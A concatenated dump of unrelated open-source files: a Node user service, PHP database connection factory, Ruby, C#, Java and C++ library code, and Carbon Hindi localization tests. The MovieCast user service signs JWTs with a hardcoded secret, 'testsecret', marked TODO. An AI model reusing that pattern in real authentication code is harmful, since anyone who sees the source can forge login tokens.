fandian : req.session.user["Fandian"]
});
});
};
|
mit
|
kyleconroy/webtest
|
docs/index_fixt.py
|
187
|
# -*- coding: utf-8 -*-
from doctest import ELLIPSIS
def setup_test(test):
for example in test.examples:
example.options.setdefault(ELLIPSIS, 1)
setup_test.__test__ = False
|
mit
|
MovieCast/api
|
packages/server/src/services/user.service.js
|
1466
|
import { User } from '@moviecast/api-models';
import jwt from 'jsonwebtoken';
import bcrypt from 'bcrypt';
import Boom from 'boom';
class UserService {
async getUser(id) {
return await User.findById(id);
}
/**
* Creates a jwt token for given user
* @param {User} user User to get token for.
*/
createJwtToken(user) {
const secret = 'testsecret'; // TODO: Add configuration...
return jwt.sign({
id: user._id,
username: user.username
}, secret, {
algorithm: 'HS256', // Might change to HS512
expiresIn: '1h'
});
}
/**
* Creates a hash for given password
* @param {string} password Password to hash.
*/
async hashPassword(password) {
const salt = await bcrypt.genSalt(10);
const hash = await bcrypt.hash(password, salt);
return hash;
}
/**
* Validates the credentials of given username
* @param {*} config An object with the username and password.
*/
async validateCredentials({ username, password } = {}) {
const user = await User.findOne({ username }).select('+password');
if(user && await bcrypt.compare(password, user.password)) {
return user;
}
return Boom.badRequest('Invalid username or password');
}
/**
* Validates a jwt token
* @param {*} jwt Decoded jwt token
*/
async validateJwtToken({ id } = {}) {
const user = await this.getUser(id);
return user != null;
}
}
export default new UserService();
|
mit
|
nerdsrescueme/Core
|
Nerd/Url/Driver/Current.php
|
909
|
<?php
/**
* URL namespace. This namespace is reserved for classes relavent
* to dealing with (U)niform (R)esource (L)ocaters within Nerd.
*
* @package Nerd
* @subpackage URL
*/
namespace Nerd\Url\Driver;
// Aliasing rules
use \Nerd\Config;
/**
* Current URL Driver
*
* @package Nerd
* @subpackage URL
*/
class Current extends Http
{
/**
* The directory beyond the domain for this application
*
* @var string
*/
protected $prefix;
public function __construct($resource = null)
{
if (($url = Config::get('application.url')) === null) {
throw new \InvalidArgumentException('You must set the application.url configuration variable in application.php');
}
$this->url($url);
$this->prefix = trim($this->path, '/');
$this->path = null;
$this->uri(str_replace($this->prefix, '', $_SERVER['REQUEST_URI']));
}
}
|
mit
|
nidev/rbitter
|
lib/rbitter/xmlrpcd/base.rb
|
569
|
# encoding: utf-8
module RPCHandles
RH_INFO = Struct.new("RPCHANDLE_INFO", :name, :version, :author, :description) {
def digest
"<rpchandle: #{name}-#{version} (written by #{author}, #{description})>"
end
}
module BaseHandle
# If a handler doesn't require an authorization, please inherit below class
class NoAuth < Object
def self.auth?
false
end
end
# If a handler does require an authorization, please inherit below class
class Auth < Object
def self.auth?
true
end
end
end
end
|
mit
|
amnn/lingua
|
app/controllers/registrations_controller.rb
|
237
|
class RegistrationsController < Devise::RegistrationsController
protected
def after_sign_up_path_for( resource )
new_user_session_path
end
def after_inactive_sign_up_path_for( resource )
new_user_session_path
end
end
|
mit
|
dgfitch/piggybank
|
lib/piggybank/version.rb
|
218
|
# Part of the Piggybank library for interacting with COINS
# Copyright 2014 Board of Regents of the University of Wisconsin System
# Released under the MIT license; see LICENSE
class Piggybank
VERSION = "0.0.2"
end
|
mit
|
mzrimsek/resume-site-api
|
Core/Models/JobDomainModel.cs
|
380
|
using System;
namespace Core.Models
{
public class JobDomainModel
{
public int Id { get; set; }
public string Name { get; set; }
public string City { get; set; }
public string State { get; set; }
public string Title { get; set; }
public DateTime StartDate { get; set; }
public DateTime EndDate { get; set; }
}
}
|
mit
|
visGeek/JavaVisGeekCollections
|
src/src/main/java/com/github/visgeek/utils/collections/LinqTakeWhileIterator.java
|
1406
|
package com.github.visgeek.utils.collections;
import java.util.Iterator;
import com.github.visgeek.utils.functions.IndexedPredicate;
import com.github.visgeek.utils.functions.Predicate;
class LinqTakeWhileIterator<T> extends AbstractConvertedEnumerator<T, T> {
LinqTakeWhileIterator(Iterable<T> source, Predicate<? super T> predicate) {
super(source);
this.predicate = (item, index) -> predicate.test(item);
this.itr = this.source.iterator();
this.indexEnabled = false;
}
LinqTakeWhileIterator(Iterable<T> source, IndexedPredicate<? super T> predicate) {
super(source);
this.predicate = predicate;
this.itr = this.source.iterator();
this.indexEnabled = true;
}
private final IndexedPredicate<? super T> predicate;
private final Iterator<T> itr;
private final boolean indexEnabled;
private T current;
private int index = -1;
private boolean taking = true;
@Override
public T current() {
return this.current;
}
@Override
public boolean moveNext() {
boolean result = false;
if (this.taking) {
if (this.itr.hasNext()) {
if (this.indexEnabled) {
this.index = Math.addExact(this.index, 1);
}
this.current = this.itr.next();
if (this.predicate.test(this.current, this.index)) {
result = true;
} else {
this.taking = false;
}
}
}
return result;
}
}
|
mit
|
lucasmichot/Carbon
|
tests/Localization/HiInTest.php
|
13520
|
<?php
declare(strict_types=1);
/**
* This file is part of the Carbon package.
*
* (c) Brian Nesbitt <brian@nesbot.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Tests\Localization;
/**
* @group localization
*/
class HiInTest extends LocalizationTestCase
{
public const LOCALE = 'hi_IN'; // Hindi
public const CASES = [
// Carbon::parse('2018-01-04 00:00:00')->addDays(1)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'कल रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->addDays(2)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'शनिवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->addDays(3)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'रविवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->addDays(4)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'सोमवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->addDays(5)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'मंगलवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->addDays(6)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'बुधवार, रात 12:00 बजे',
// Carbon::parse('2018-01-05 00:00:00')->addDays(6)->calendar(Carbon::parse('2018-01-05 00:00:00'))
'गुरूवार, रात 12:00 बजे',
// Carbon::parse('2018-01-06 00:00:00')->addDays(6)->calendar(Carbon::parse('2018-01-06 00:00:00'))
'शुक्रवार, रात 12:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->addDays(2)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'मंगलवार, रात 12:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->addDays(3)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'बुधवार, रात 12:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->addDays(4)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'गुरूवार, रात 12:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->addDays(5)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'शुक्रवार, रात 12:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->addDays(6)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'शनिवार, रात 12:00 बजे',
// Carbon::now()->subDays(2)->calendar()
'पिछले रविवार, रात 8:49 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subHours(2)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'कल रात 10:00 बजे',
// Carbon::parse('2018-01-04 12:00:00')->subHours(2)->calendar(Carbon::parse('2018-01-04 12:00:00'))
'आज दोपहर 10:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->addHours(2)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'आज रात 2:00 बजे',
// Carbon::parse('2018-01-04 23:00:00')->addHours(2)->calendar(Carbon::parse('2018-01-04 23:00:00'))
'कल रात 1:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->addDays(2)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'मंगलवार, रात 12:00 बजे',
// Carbon::parse('2018-01-08 00:00:00')->subDay()->calendar(Carbon::parse('2018-01-08 00:00:00'))
'कल रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subDays(1)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'कल रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subDays(2)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'पिछले मंगलवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subDays(3)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'पिछले सोमवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subDays(4)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'पिछले रविवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subDays(5)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'पिछले शनिवार, रात 12:00 बजे',
// Carbon::parse('2018-01-04 00:00:00')->subDays(6)->calendar(Carbon::parse('2018-01-04 00:00:00'))
'पिछले शुक्रवार, रात 12:00 बजे',
// Carbon::parse('2018-01-03 00:00:00')->subDays(6)->calendar(Carbon::parse('2018-01-03 00:00:00'))
'पिछले गुरूवार, रात 12:00 बजे',
// Carbon::parse('2018-01-02 00:00:00')->subDays(6)->calendar(Carbon::parse('2018-01-02 00:00:00'))
'पिछले बुधवार, रात 12:00 बजे',
// Carbon::parse('2018-01-07 00:00:00')->subDays(2)->calendar(Carbon::parse('2018-01-07 00:00:00'))
'पिछले शुक्रवार, रात 12:00 बजे',
// Carbon::parse('2018-01-01 00:00:00')->isoFormat('Qo Mo Do Wo wo')
'1 1 1 1 1',
// Carbon::parse('2018-01-02 00:00:00')->isoFormat('Do wo')
'2 1',
// Carbon::parse('2018-01-03 00:00:00')->isoFormat('Do wo')
'3 1',
// Carbon::parse('2018-01-04 00:00:00')->isoFormat('Do wo')
'4 1',
// Carbon::parse('2018-01-05 00:00:00')->isoFormat('Do wo')
'5 1',
// Carbon::parse('2018-01-06 00:00:00')->isoFormat('Do wo')
'6 1',
// Carbon::parse('2018-01-07 00:00:00')->isoFormat('Do wo')
'7 2',
// Carbon::parse('2018-01-11 00:00:00')->isoFormat('Do wo')
'11 2',
// Carbon::parse('2018-02-09 00:00:00')->isoFormat('DDDo')
'40',
// Carbon::parse('2018-02-10 00:00:00')->isoFormat('DDDo')
'41',
// Carbon::parse('2018-04-10 00:00:00')->isoFormat('DDDo')
'100',
// Carbon::parse('2018-02-10 00:00:00', 'Europe/Paris')->isoFormat('h:mm a z')
'12:00 रात CET',
// Carbon::parse('2018-02-10 00:00:00')->isoFormat('h:mm A, h:mm a')
'12:00 रात, 12:00 रात',
// Carbon::parse('2018-02-10 01:30:00')->isoFormat('h:mm A, h:mm a')
'1:30 रात, 1:30 रात',
// Carbon::parse('2018-02-10 02:00:00')->isoFormat('h:mm A, h:mm a')
'2:00 रात, 2:00 रात',
// Carbon::parse('2018-02-10 06:00:00')->isoFormat('h:mm A, h:mm a')
'6:00 सुबह, 6:00 सुबह',
// Carbon::parse('2018-02-10 10:00:00')->isoFormat('h:mm A, h:mm a')
'10:00 दोपहर, 10:00 दोपहर',
// Carbon::parse('2018-02-10 12:00:00')->isoFormat('h:mm A, h:mm a')
'12:00 दोपहर, 12:00 दोपहर',
// Carbon::parse('2018-02-10 17:00:00')->isoFormat('h:mm A, h:mm a')
'5:00 शाम, 5:00 शाम',
// Carbon::parse('2018-02-10 21:30:00')->isoFormat('h:mm A, h:mm a')
'9:30 रात, 9:30 रात',
// Carbon::parse('2018-02-10 23:00:00')->isoFormat('h:mm A, h:mm a')
'11:00 रात, 11:00 रात',
// Carbon::parse('2018-01-01 00:00:00')->ordinal('hour')
'0',
// Carbon::now()->subSeconds(1)->diffForHumans()
'कुछ ही क्षण पहले',
// Carbon::now()->subSeconds(1)->diffForHumans(null, false, true)
'1 सेकंड पहले',
// Carbon::now()->subSeconds(2)->diffForHumans()
'2 सेकंड पहले',
// Carbon::now()->subSeconds(2)->diffForHumans(null, false, true)
'2 सेकंड पहले',
// Carbon::now()->subMinutes(1)->diffForHumans()
'एक मिनट पहले',
// Carbon::now()->subMinutes(1)->diffForHumans(null, false, true)
'1 मिनट पहले',
// Carbon::now()->subMinutes(2)->diffForHumans()
'2 मिनट पहले',
// Carbon::now()->subMinutes(2)->diffForHumans(null, false, true)
'2 मिनटों पहले',
// Carbon::now()->subHours(1)->diffForHumans()
'एक घंटा पहले',
// Carbon::now()->subHours(1)->diffForHumans(null, false, true)
'1 घंटा पहले',
// Carbon::now()->subHours(2)->diffForHumans()
'2 घंटे पहले',
// Carbon::now()->subHours(2)->diffForHumans(null, false, true)
'2 घंटे पहले',
// Carbon::now()->subDays(1)->diffForHumans()
'एक दिन पहले',
// Carbon::now()->subDays(1)->diffForHumans(null, false, true)
'1 दिन पहले',
// Carbon::now()->subDays(2)->diffForHumans()
'2 दिन पहले',
// Carbon::now()->subDays(2)->diffForHumans(null, false, true)
'2 दिनों पहले',
// Carbon::now()->subWeeks(1)->diffForHumans()
'1 सप्ताह पहले',
// Carbon::now()->subWeeks(1)->diffForHumans(null, false, true)
'1 सप्ताह पहले',
// Carbon::now()->subWeeks(2)->diffForHumans()
'2 सप्ताह पहले',
// Carbon::now()->subWeeks(2)->diffForHumans(null, false, true)
'2 सप्ताह पहले',
// Carbon::now()->subMonths(1)->diffForHumans()
'एक महीने पहले',
// Carbon::now()->subMonths(1)->diffForHumans(null, false, true)
'1 माह पहले',
// Carbon::now()->subMonths(2)->diffForHumans()
'2 महीने पहले',
// Carbon::now()->subMonths(2)->diffForHumans(null, false, true)
'2 महीने पहले',
// Carbon::now()->subYears(1)->diffForHumans()
'एक वर्ष पहले',
// Carbon::now()->subYears(1)->diffForHumans(null, false, true)
'1 वर्ष पहले',
// Carbon::now()->subYears(2)->diffForHumans()
'2 वर्ष पहले',
// Carbon::now()->subYears(2)->diffForHumans(null, false, true)
'2 वर्षों पहले',
// Carbon::now()->addSecond()->diffForHumans()
'कुछ ही क्षण में',
// Carbon::now()->addSecond()->diffForHumans(null, false, true)
'1 सेकंड में',
// Carbon::now()->addSecond()->diffForHumans(Carbon::now())
'कुछ ही क्षण के बाद',
// Carbon::now()->addSecond()->diffForHumans(Carbon::now(), false, true)
'1 सेकंड के बाद',
// Carbon::now()->diffForHumans(Carbon::now()->addSecond())
'कुछ ही क्षण के पहले',
// Carbon::now()->diffForHumans(Carbon::now()->addSecond(), false, true)
'1 सेकंड के पहले',
// Carbon::now()->addSecond()->diffForHumans(Carbon::now(), true)
'कुछ ही क्षण',
// Carbon::now()->addSecond()->diffForHumans(Carbon::now(), true, true)
'1 सेकंड',
// Carbon::now()->diffForHumans(Carbon::now()->addSecond()->addSecond(), true)
'2 सेकंड',
// Carbon::now()->diffForHumans(Carbon::now()->addSecond()->addSecond(), true, true)
'2 सेकंड',
// Carbon::now()->addSecond()->diffForHumans(null, false, true, 1)
'1 सेकंड में',
// Carbon::now()->addMinute()->addSecond()->diffForHumans(null, true, false, 2)
'एक मिनट कुछ ही क्षण',
// Carbon::now()->addYears(2)->addMonths(3)->addDay()->addSecond()->diffForHumans(null, true, true, 4)
'2 वर्षों 3 महीने 1 दिन 1 सेकंड',
// Carbon::now()->addYears(3)->diffForHumans(null, null, false, 4)
'3 वर्ष में',
// Carbon::now()->subMonths(5)->diffForHumans(null, null, true, 4)
'5 महीने पहले',
// Carbon::now()->subYears(2)->subMonths(3)->subDay()->subSecond()->diffForHumans(null, null, true, 4)
'2 वर्षों 3 महीने 1 दिन 1 सेकंड पहले',
// Carbon::now()->addWeek()->addHours(10)->diffForHumans(null, true, false, 2)
'1 सप्ताह 10 घंटे',
// Carbon::now()->addWeek()->addDays(6)->diffForHumans(null, true, false, 2)
'1 सप्ताह 6 दिन',
// Carbon::now()->addWeek()->addDays(6)->diffForHumans(null, true, false, 2)
'1 सप्ताह 6 दिन',
// Carbon::now()->addWeek()->addDays(6)->diffForHumans(["join" => true, "parts" => 2])
'1 सप्ताह और 6 दिन में',
// Carbon::now()->addWeeks(2)->addHour()->diffForHumans(null, true, false, 2)
'2 सप्ताह एक घंटा',
// Carbon::now()->addHour()->diffForHumans(["aUnit" => true])
'एक घंटा में',
// CarbonInterval::days(2)->forHumans()
'2 दिन',
// CarbonInterval::create('P1DT3H')->forHumans(true)
'1 दिन 3 घंटे',
];
}
|
mit
|
Azure/azure-sdk-for-ruby
|
management/azure_mgmt_network/lib/2018-10-01/generated/azure_mgmt_network/models/p2svpn_server_config_vpn_client_revoked_certificate.rb
|
2844
|
# encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2018_10_01
module Models
#
# VPN client revoked certificate of P2SVpnServerConfiguration.
#
class P2SVpnServerConfigVpnClientRevokedCertificate < SubResource
include MsRestAzure
# @return [String] The revoked VPN client certificate thumbprint.
attr_accessor :thumbprint
# @return [String] The provisioning state of the VPN client revoked
# certificate resource. Possible values are: 'Updating', 'Deleting', and
# 'Failed'.
attr_accessor :provisioning_state
# @return [String] The name of the resource that is unique within a
# resource group. This name can be used to access the resource.
attr_accessor :name
# @return [String] A unique read-only string that changes whenever the
# resource is updated.
attr_accessor :etag
#
# Mapper for P2SVpnServerConfigVpnClientRevokedCertificate class as Ruby
# Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'P2SVpnServerConfigVpnClientRevokedCertificate',
type: {
name: 'Composite',
class_name: 'P2SVpnServerConfigVpnClientRevokedCertificate',
model_properties: {
id: {
client_side_validation: true,
required: false,
serialized_name: 'id',
type: {
name: 'String'
}
},
thumbprint: {
client_side_validation: true,
required: false,
serialized_name: 'properties.thumbprint',
type: {
name: 'String'
}
},
provisioning_state: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'properties.provisioningState',
type: {
name: 'String'
}
},
name: {
client_side_validation: true,
required: false,
serialized_name: 'name',
type: {
name: 'String'
}
},
etag: {
client_side_validation: true,
required: false,
serialized_name: 'etag',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
|
mit
|
dohzoh/lession
|
ChakraSolution01/Hello World/C#/HelloWorld/Hosting/JavaScriptValueType.cs
|
1832
|
namespace ChakraHost.Hosting
{
/// <summary>
/// The JavaScript type of a JavaScriptValue.
/// </summary>
public enum JavaScriptValueType
{
/// <summary>
/// The value is the <c>undefined</c> value.
/// </summary>
Undefined = 0,
/// <summary>
/// The value is the <c>null</c> value.
/// </summary>
Null = 1,
/// <summary>
/// The value is a JavaScript number value.
/// </summary>
Number = 2,
/// <summary>
/// The value is a JavaScript string value.
/// </summary>
String = 3,
/// <summary>
/// The value is a JavaScript Boolean value.
/// </summary>
Boolean = 4,
/// <summary>
/// The value is a JavaScript object value.
/// </summary>
Object = 5,
/// <summary>
/// The value is a JavaScript function object value.
/// </summary>
Function = 6,
/// <summary>
/// The value is a JavaScript error object value.
/// </summary>
Error = 7,
/// <summary>
/// The value is a JavaScript array object value.
/// </summary>
Array = 8,
/// <summary>
/// The value is a JavaScript array object value.
/// </summary>
Symbol = 9,
/// <summary>
/// The value is a JavaScript ArrayBuffer object value.
/// </summary>
ArrayBuffer = 10,
/// <summary>
/// The value is a JavaScript typed array object value.
/// </summary>
TypedArray = 11,
/// <summary>
/// The value is a JavaScript DataView object value.
/// </summary>
DataView = 12
}
}
|
mit
|
OSU-USLI-18/OSU-USLI-18.github.io
|
js/index.js
|
1208
|
let imageList = [
'https://instagram.com/p/BeUIP5YnEDH/media/?size=l',
'https://instagram.com/p/BeUIG7jn2kj/media/?size=l',
'https://instagram.com/p/BeUHCdbnb7f/media/?size=l',
'https://instagram.com/p/BeUHaURHc9G/media/?size=l',
'img/header-bg-1.jpg',
'img/header-bg-2.jpg'
];
var transitionState = 0
function cycleTransitionState(){
switch(transitionState){
case 0:
transitionState = 1;
break;
case 1:
transitionState = 2;
break;
case 2:
transitionState = 3;
break;
case 3:
transitionState = 4;
break;
case 4:
transitionState = 5;
break;
default:
transitionState = 0;
}
}
function changeHeaderBG(){
cycleTransitionState();
//for only one dom traversal.
var header = $('header.masthead');
header.fadeTo('slow', 0.3, () => {
header.css('background-image', 'url('+ imageList[transitionState] +')');
}).delay(500).fadeTo('slow', 1);
}
//Bad javascript live with it.
$(document).ready( () => {
console.log("Joseph was here, also Kevin was here first.");
setInterval(changeHeaderBG,15000);//15 secs
});
|
mit
|
sashavolv2/blocklang
|
embed/numbers.cpp
|
2968
|
#include "numbers.h"
#include "string.h"
#include "../core/blocks.h"
#include <functional>
#include <cmath>
//TODO if context is null, assume the current block
NumberImmediate::~NumberImmediate() {}
void NumberImmediate::create_attributes() {
typedef CppEmbedInstance<number_type> number_type_instance;
define_function<Block>("add",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<NumberImmediate>(get_instance(m.ctx) + get_foreign_instance<number_type>(it));
}
);
define_function<Block>("sub",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<NumberImmediate>(get_instance(m.ctx) - get_foreign_instance<number_type>(it));
}
);
define_function<Block>("mul",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<NumberImmediate>(get_instance(m.ctx) * get_foreign_instance<number_type>(it));
}
);
define_function<Block>("div",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<NumberImmediate>(get_instance(m.ctx) / get_foreign_instance<number_type>(it));
}
);
define_function<Block>("idiv",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<NumberImmediate>(int(get_instance(m.ctx)) / int(get_foreign_instance<number_type>(it)));
}
);
define_function<Block>("eq",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<StaticBlock>(get_instance(m.ctx) == get_foreign_instance<number_type>(it));
}
);
define_function<Block>("less",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<StaticBlock>(get_instance(m.ctx) < get_foreign_instance<number_type>(it));
}
);
define_function<Block>("leq",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<StaticBlock>(get_instance(m.ctx) <= get_foreign_instance<number_type>(it));
}
);
define_function<Block>("gt",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<StaticBlock>(get_instance(m.ctx) > get_foreign_instance<number_type>(it));
}
);
define_function<Block>("gte",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<StaticBlock>(get_instance(m.ctx) >= get_foreign_instance<number_type>(it));
}
);
define_function<Block>("mod",
[](meta m, sptr<Block> it) -> sptr<Block> {
return make_shared<NumberImmediate>(std::fmod(get_instance(m.ctx), get_foreign_instance<number_type>(it)));
}
);
define_function<>("str",
[](meta m) -> sptr<Block> {
std::wstringstream oss;
oss << get_instance(m.ctx);
return make_shared<StringImmediate>(oss.str());
}
);
define_function<>("int",
[](meta m) -> sptr<Block> {
return make_shared<NumberImmediate>(int(get_instance(m.ctx)));
}
);
}
sptr<Block> NumberImmediate::clone() {
return clone_common_(make_shared<NumberImmediate>(instance_value));
}
void NumberImmediate::debug_state(std::ostream& os) {
os << instance_value;
}
|
mit
|
Azure/azure-sdk-for-ruby
|
management/azure_mgmt_network/lib/2020-07-01/generated/azure_mgmt_network/models/public_ipprefix_sku_tier.rb
|
383
|
# encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2020_07_01
module Models
#
# Defines values for PublicIPPrefixSkuTier
#
module PublicIPPrefixSkuTier
Regional = "Regional"
Global = "Global"
end
end
end
|
mit
|
jazzbom/JBSC
|
src/main/java/com/jbsc/JbscCrmApplication.java
|
870
|
package com.jbsc;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.PropertySource;
import org.springframework.context.annotation.PropertySources;
import org.springframework.scheduling.annotation.EnableScheduling;
@SpringBootApplication
@EnableScheduling
@ComponentScan(basePackages = {"com.jbsc","com.auth0.spring.security.mvc"})
@EnableAutoConfiguration
@PropertySources({
@PropertySource("classpath:application.properties"),
@PropertySource("classpath:auth0.properties")
})
public class JbscCrmApplication {
public static void main(String[] args) {
SpringApplication.run(JbscCrmApplication.class, args);
}
}
|
mit
|
devos1/PProgDist_EAPWeb
|
src/mobiOsLo/actions/SaveCatVehiculeAction.java
|
1718
|
package mobiOsLo.actions;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import org.apache.struts2.convention.annotation.Result;
import org.apache.struts2.convention.annotation.Results;
import com.opensymphony.xwork2.ActionSupport;
import entities.CategorieVehicule;
import session.IMobiOsLo;
import session.PersistException;
@Results({ @Result(name = "success", type = "chain", location = "list-cat-vehicules"),
@Result(name="input", location="edit-catVehicule.jsp") })
@SuppressWarnings("serial")
public class SaveCatVehiculeAction extends ActionSupport {
private CategorieVehicule categorieVehicule;
public String execute(){
try {
Context ctx = new InitialContext();
IMobiOsLo service = (IMobiOsLo) ctx.lookup("java:global/PProgDist_EAP/PProgDist_EAPEJB/MobiOsLoService!session.IMobiOsLo");
service.addCatVehicule(categorieVehicule);
} catch (PersistException pe) {
pe.printStackTrace();
} catch (NamingException ne) {
ne.printStackTrace();
}
return SUCCESS;
}
public CategorieVehicule getCategorieVehicule() {
return categorieVehicule;
}
public void setCategorieVehicule(CategorieVehicule categorieVehicule) {
this.categorieVehicule = categorieVehicule;
}
@Override
public void validate() {
if (categorieVehicule != null) {
if (categorieVehicule.getNomCategorie().isEmpty()) {
addActionError(getText("nomCat.vide"));
}else if (categorieVehicule.getPrixUnitaire() == null) {
addActionError(getText("prixUnitaire.vide"));
}else if (categorieVehicule.getPrixKM() == null) {
addActionError(getText("prixKM.vide"));
}
}else {
addActionError(getText("main.catVehiculeNull"));
}
}
}
|
mit
|
morsaken/webim
|
Webim/Database/Driver/Factory.php
|
5381
|
<?php
/**
* @author Orhan POLAT
*/
namespace Webim\Database\Driver;
use PDO;
use Webim\Database\Driver\Mysql\Connection as MysqlConnection;
use Webim\Database\Driver\Mysql\Connector as MysqlConnector;
use Webim\Database\Driver\Postgres\Connection as PostgresConnection;
use Webim\Database\Driver\Postgres\Connector as PostgresConnector;
use Webim\Database\Driver\Sqlite\Connection as SqliteConnection;
use Webim\Database\Driver\Sqlite\Connector as SqliteConnector;
use Webim\Database\Driver\SqlServer\Connection as SqlServerConnection;
use Webim\Database\Driver\SqlServer\Connector as SqlServerConnector;
class Factory {
/**
* Establish a PDO connection based on the configuration.
*
* @param array $config
* @param string $name
*
* @return Webim\Database\Driver\Connection
*/
public function make(array $config, $name = null) {
$config = $this->parseConfig($config, $name);
if (isset($config['read'])) {
return $this->createReadWriteConnection($config);
} else {
return $this->createSingleConnection($config);
}
}
/**
* Parse and prepare the database configuration.
*
* @param array $config
* @param string $name
*
* @return array
*/
protected function parseConfig(array $config, $name) {
return array_add(array_add($config, 'prefix', ''), 'name', $name);
}
/**
* Create a single database connection instance.
*
* @param array $config
*
* @return Webim\Database\Driver\Connection
*/
protected function createReadWriteConnection(array $config) {
$connection = $this->createSingleConnection($this->getWriteConfig($config));
return $connection->setReadPdo($this->createReadPdo($config));
}
/**
* Create a single database connection instance.
*
* @param array $config
*
* @return Webim\Database\Driver\Connection
*/
protected function createSingleConnection(array $config) {
$pdo = $this->createConnector($config)->connect($config);
return $this->createConnection(array_get($config, 'driver'),
$pdo,
array_get($config, 'database'),
array_get($config, 'prefix'),
$config
);
}
/**
* Create a connector instance based on the configuration.
*
* @param array $config
*
* @return Webim\Database\Driver\Connector
*
* @throws \InvalidArgumentException
*/
public function createConnector(array $config) {
if (!isset($config['driver'])) {
throw new \InvalidArgumentException("A driver must be specified.");
}
switch ($config['driver']) {
case 'mysql':
return new MysqlConnector;
case 'pgsql':
return new PostgresConnector;
case 'sqlite':
return new SqliteConnector;
case 'sqlsrv':
return new SqlserverConnector;
}
throw new \InvalidArgumentException("Unsupported driver [{$config['driver']}]");
}
/**
* Create a new connection instance.
*
* @param string $driver
* @param \PDO $connection
* @param string $database
* @param string $prefix
* @param array $config
*
* @return Webim\Database\Driver\Connection
*
* @throws \InvalidArgumentException
*/
protected function createConnection($driver, PDO $connection, $database, $prefix = '', array $config = array()) {
switch ($driver) {
case 'mysql':
return new MysqlConnection($connection, $database, $prefix, $config);
case 'pgsql':
return new PostgresConnection($connection, $database, $prefix, $config);
case 'sqlite':
return new SqliteConnection($connection, $database, $prefix, $config);
case 'sqlsrv':
return new SqlserverConnection($connection, $database, $prefix, $config);
}
throw new \InvalidArgumentException("Unsupported driver [$driver]");
}
/**
* Get the read configuration for a read / write connection.
*
* @param array $config
*
* @return array
*/
protected function getWriteConfig(array $config) {
$writeConfig = $this->getReadWriteConfig($config, 'write');
return $this->mergeReadWriteConfig($config, $writeConfig);
}
/**
* Get a read / write level configuration.
*
* @param array $config
* @param string $type
*
* @return array
*/
protected function getReadWriteConfig(array $config, $type) {
if (isset($config[$type][0])) {
return $config[$type][array_rand($config[$type])];
} else {
return $config[$type];
}
}
/**
* Merge a configuration for a read / write connection.
*
* @param array $config
* @param array $merge
*
* @return array
*/
protected function mergeReadWriteConfig(array $config, array $merge) {
return array_except(array_merge($config, $merge), array('read', 'write'));
}
/**
* Create a new PDO instance for reading.
*
* @param array $config
*
* @return \PDO
*/
protected function createReadPdo(array $config) {
$readConfig = $this->getReadConfig($config);
return $this->createConnector($readConfig)->connect($readConfig);
}
/**
* Get the read configuration for a read / write connection.
*
* @param array $config
*
* @return array
*/
protected function getReadConfig(array $config) {
$readConfig = $this->getReadWriteConfig($config, 'read');
return $this->mergeReadWriteConfig($config, $readConfig);
}
}
|
mit
|
cdnjs/cdnjs
|
ajax/libs/highcharts/9.1.0/indicators/chaikin.js
